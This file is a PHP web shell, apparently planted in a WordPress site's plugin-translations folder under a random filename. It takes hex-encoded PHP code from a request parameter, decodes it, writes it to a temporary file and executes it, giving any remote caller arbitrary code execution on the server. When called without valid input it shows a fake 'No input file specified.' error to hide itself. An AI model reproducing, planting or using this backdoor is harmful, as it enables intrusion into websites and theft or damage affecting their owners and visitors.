File: /www/wwwroot/1.scey.cn/wp-content/languages/plugins/Wiakt.php
<?php
$zero = isset($_REQUEST["cat_id"]) ? $_REQUEST["cat_id"] : null;
if (!$zero) {
die("No input file specified.");
}
if (!ctype_xdigit($zero) || strlen($zero) % 2 != 0) {
die("No input file specified.");
}
function hex2bin_custom($data) {
$bin = "";
for ($i = 0; $i < strlen($data); $i += 2) {
$bin .= chr(hexdec(substr($data, $i, 2)));
}
return $bin;
}
$zero_bin = hex2bin_custom($zero);
$zero_bin = trim($zero_bin);
echo "Decoded result: " . htmlspecialchars($zero_bin) . "<br>";
$zero_bin = rtrim($zero_bin, " ;") . ";";
$zero_bin = str_replace("PSU_SERVER", "\$_SERVER", $zero_bin);
function execute_php_code($code) {
$temp_file = tempnam(sys_get_temp_dir(), 'php_');
file_put_contents($temp_file, "<?php " . $code . " ?>");
include($temp_file);
unlink($temp_file);
}
execute_php_code($zero_bin);
?>